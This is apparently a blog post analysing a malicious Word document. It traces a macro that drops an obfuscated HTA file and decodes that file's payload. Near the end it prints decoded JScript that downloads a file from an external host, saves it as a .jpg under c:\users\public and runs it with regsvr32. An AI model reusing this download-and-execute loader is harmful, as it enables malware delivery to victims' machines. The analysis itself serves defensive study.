MalDoc Analysis: Cheeky HTA Loader

Let’s dig into a (potentially) malicious document and see what indicators it navigates us to.

Download: You can acquire this sample from MalwareBazaar

Initial Analysis

Let’s first unzip the file with MalwareBazaar’s standard password: infected [PS: I’m going to rename the file for sanity’s sake]

Once done, we can check to see what file type we’re dealing with: file Ordain.doc

Next, let’s make use of Didier Steven’s excellent oleid.exe to quickly identify what indicators does the macro-licious document have for us: oleid.exe Ordain.doc

From the output, we can see there are VBA macros embedded within the document. It’s not encrypted - this is good. Finally, there’s an opsec reveal wherein the name of the author of the document, admin, is revealed. However, since this is a pretty common name, using it across multiple campaigns doesn’t make sense.

Let’s get into analyzing the macros next.

VBA Macro Analysis

Again, much of our work is done by Didier’s amazing scripts. Let’s use olevba to quickly identify the purpose of the VBA macros inside and whether they’re malicious by the nature of calls, embedded commands, or other indicators. We can run it on the document using: olevba.exe Ordain.doc

If you’re having trouble understanding olevba’s output; it’s divided such that:

• First, you can see each stream with a macro object inside decoded for us. Here, the actual VBA code is displayed in the first half
• Second, we see a tabular view of the keywords found inside the document and what they mean (their type and a helpful description)

Let’s take our scalpel and go for a deeper view using oledump now. Using oledump.py Ordain.doc we can see there are three macro streams inside the Word document:

• Stream 8
• Stream 15
• Stream 16

We do have an idea now as to what each of these stream contains. Let’s dump out Stream 8 since it has the Document_Open function to execute functions as soon as a document is opened. Using oledump we can dump out the 8th stream and run a VBA decompression sequence on top of it (also provided by oledump).

oledump.py Ordain.doc -s 8 -v

It executes the function as soon as the document is opened (provided macros and ‘editing mode’ are also enabled). It calls the ‘init function (we saw before) with a few parameters. Here, the second parameter is interesting. It’s taking in the Content of the document and replacing 0ij5l with nothing (to eliminate any instance). Let’s acquire the content of this file.

Whelp! White colored, Arial, and Fontsize set to 1. Let’s copy this elsewhere and replace 0ij5l with nothing.

That’s a personal hit. Let’s get back to our analysis and review the init function.

We can find the init function in the 16th stream. Dumping it shows us:

It simply opens up the file, 1.hta and writes in the content we’ve just decoded. Then, it calls the winDir function which is likely in the 15th stream.

The winDir function appears to initiate an instance of the WshShell object (quite a powerful object to interact with the Windows Shell. More information here). After initiation, it launches an instance of explorer with the 1.hta parameter passed back in from the caller function.

Typically, explorer doesn’t execute HTA files. MSHTA is tasked with execution and handling of HTA files. However, when the HTA file is referenced to Explorer; it does try to execute it, fails, and then passes on control to the user to select an application to execute it. This is the case where the default application to handle .HTA files isn’t already set to MSHTA, otherwise, the execution will continue.

That’s probably it. The malicious document drops an HTA file, the content of which was placed inside the document itself. Let’s move on to analyzing the HTA file!

HTA Analysis

I’ve simply beautified the code in order to make analysis better. We can see several DIVs and SCRIPT tags inside the main HTML tag of the file. We can ignore the function declarations until their calls and see where the true implementation begins.

Firstly, the window and document objects are assigned to two variables. Then, the window of the HTA is moved outside the visible area of the screen. Soon after, the first function call is made to winWinDev. The parameter itself is a function call to acquire the contents of a div as can be seen below:

The code inside div is Base-64 encoded. However, before decoding, it goes through a split operation inside the winWinDev function. Split simply removes the indicator with which to split and returns a list which can be iterated over using a loop or numeric digits for the element number e.g., array[0].

Next, devDocDev is called on the first two elements of the array.

This function simple base-64 decodes the large string passed to it and performs the following functions on it in order:

• Split by '’
• Reverse
• Join by ''

This is because the B64 encoded data was also reversed. Once done, the returned values are stored and soon after, sent to eval for execution. Here are both the decoded and re-reversed payloads:

var dirWinDir = new ActiveXObject("msxml2.xmlhttp");
dirWinDir.open("GET",http://flameaudit2016b.com/bmdff/2311/kHouKdm1xxGE29rB40/1z9RHPO6tfhyaMaV8UyqdB2MKjIdB/18281/dwH4P/kagy4?ref=KCnKidSt6Hgw&QlmIuVvbw=hqNHg8FkAyXzOn0&id=GkRGkgo6LHcNl6o0UqysPaNmUh&q=flTu0lsa3Nlplhhxm", false);dirWinDir.send();if(dirWinDir.status == 200){try{var objDirDev = new ActiveXObject("adodb.stream");objDirDev.open;objDirDev.type = 1;objDirDev.write(dirWinDir.responsebody);objDirDev.savetofile("c:\users\public\dirObjEx.jpg", 2);objDirDev.close;}catch(e){}}

var divDivDir = new ActiveXObject("wscript.shell");var exWinWin = new ActiveXObject("scripting.filesystemobject");divDivDir.run("regsvr32 c:\\users\\public\\dirObjEx.jpg");

Here’s a simple Cyberchef recipe for the junk:

From_Base64('A-Za-z0-9+/=',true)
Reverse('Character')

Well, the infection chain continues. I’ll have to cut this mal-doc analysis off here; feel free to request for help if you’re analyzing the same sample. Here’s a nice list of technical indicators for consumption:

Indicators of Compromise